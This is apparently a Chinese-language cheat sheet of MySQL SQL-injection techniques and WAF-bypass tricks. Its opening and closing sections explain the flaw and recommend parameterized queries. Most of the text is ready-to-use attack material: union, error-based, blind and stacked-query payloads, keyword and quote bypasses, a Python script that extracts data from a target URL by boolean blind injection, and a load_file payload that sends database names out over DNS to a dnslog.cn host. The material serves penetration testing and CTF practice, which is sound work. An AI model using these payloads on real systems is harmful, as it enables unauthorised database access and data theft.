SQL注入之Mysql注入姿势及绕过总结
字数 1991 2025-08-25 22:59:09
MySQL注入姿势及绕过总结
一、SQL注入基础
1.1 漏洞成因
SQL注入漏洞产生的原因是应用将用户输入的数据直接拼接到SQL语句中,导致攻击者可以控制SQL查询逻辑。例如:
$sql = "select * from members where userid=".$_GET['userid'];
$sb->query($sql);
当用户输入1 or 1=1时,SQL语句变为:
select * from members where userid=1 or 1=1
1.2 修复方案
最彻底的修复方式是使用参数化查询(预编译语句),将数据和指令分离:
$SqlTemplate="select * from members where userid={userid|int}";
$sb->PreSql($SqlTemplate,$_GET['userid']);
二、MySQL注入姿势
2.1 联合查询注入
基本流程:
- 判断注入点类型(数字型/字符型)及闭合方式
- 确定字段数:
1' order by 3#或1' union select 1,2,3# - 确定回显位置:
-1' union select 1,2,3# - 获取数据:
- 当前数据库:
database() - 表名:
group_concat(table_name) from information_schema.tables where table_schema=database() - 列名:
group_concat(column_name) from information_schema.columns where table_name='users' - 数据:
group_concat(id,0x7c,username,0x7c,password) from users
- 当前数据库:
2.2 报错注入
利用MySQL报错函数将查询结果回显:
- floor()双查询报错:
1' union select 1,2,3 from (select count(*),concat((select concat(version(),'-',database(),'-',user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
- extractvalue():
and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))
- updatexml():
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
- 其他报错函数:
- geometrycollection()
- multipoint()
- polygon()
- linestring()
- ST_LatFromGeoHash()
- GTID相关函数
2.3 布尔盲注
当页面无回显但会根据SQL条件返回不同内容时使用:
import requests
url = 'http://target.com/?id='
flag = ''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while(low < high):
payload = f"1' and ascii(substr((select database()),{i},1))>{mid}#"
r = requests.get(url+payload)
if 'You are in' in r.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
flag += chr(mid)
print(flag)
2.4 时间盲注
利用sleep()函数通过响应时间判断条件:
1' and if(ascii(substr((select database()),1,1))>97,sleep(3),1)#
替代sleep的方法:
- 笛卡尔积延时:
(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
2.5 堆叠注入
利用分号执行多条SQL语句:
1'; rename table words to words1; rename table flag_here to words;#
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
2.6 二次注入
将恶意SQL存入数据库后再触发:
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','123456','123@qq.com')
2.7 DNS注入
通过DNS请求外带数据:
and load_file(concat('//',database(),'.dnslog.cn/abc'))
三、绕过技巧
3.1 注释符绕过
#--+或-- -/**/;%00- 直接闭合引号
3.2 关键字绕过
- 大小写:
UnIoN SeLeCt - 双写:
uniunionon selselectect - 字符串拼接:
set @a=concat("sel","ect * from users");prepare sql from @a;execute sql; - 十六进制:
0x73656C656374 - 反引号:
select `table_name` from `information_schema`.`tables`
3.3 空格绕过
/**/+(GET中)- 括号嵌套
- 不可见字符:
%09,%0a,%0b,%0c,%0d,%a0
3.4 逗号绕过
from...for...替代substr:
select substr((select database()) from 1 for 1)
offset替代limit:
select * from users limit 1 offset 2
3.5 引号绕过
- 宽字节注入:
%df'→運' - 反斜杠转义:
admin\+or 1# - 十六进制:
0x61646d696e替代'admin'
3.6 information_schema绕过
替代表:
sys.schema_auto_increment_columnsmysql.innodb_table_statsmysql.innodb_table_index
3.7 无列名注入
- 123法:
select `3` from (select 1,2,3 union select * from users)a
- join using:
1' union all select * from (select * from users as a join users b using(id,username))c#
3.8 其他绕过
- 比较符号:用
in()、like、regexp替代= - if被过滤:用
case when:
case when ascii(substr((select database()),1,1))>97 then 1 else 0 end
- substr被过滤:用
mid()、left()、lpad() - HTTP参数污染:
?id=1&id=2' union select 1,2,3--+
四、特殊技巧
4.1 False注入
利用MySQL隐式类型转换:
select * from user where username=''-0#
4.2 md5(password,true)绕过
当使用md5($password,true)时,某些值会产生永真条件:
ffifdyop → 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c → ''or'6...' → 永真
4.3 预处理语句绕过
1';set @a=concat("sel","ect flag from flag_here");prepare hello from @a;execute hello;#
4.4 异或盲注
'^ascii(mid(database(),1,1)=98)^0
五、防御建议
- 使用预编译语句(参数化查询)
- 对输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
- 关闭错误回显
- 使用WAF等防护设备
以上总结了MySQL注入的各种姿势和绕过技巧,实际应用中需要根据具体环境灵活组合使用。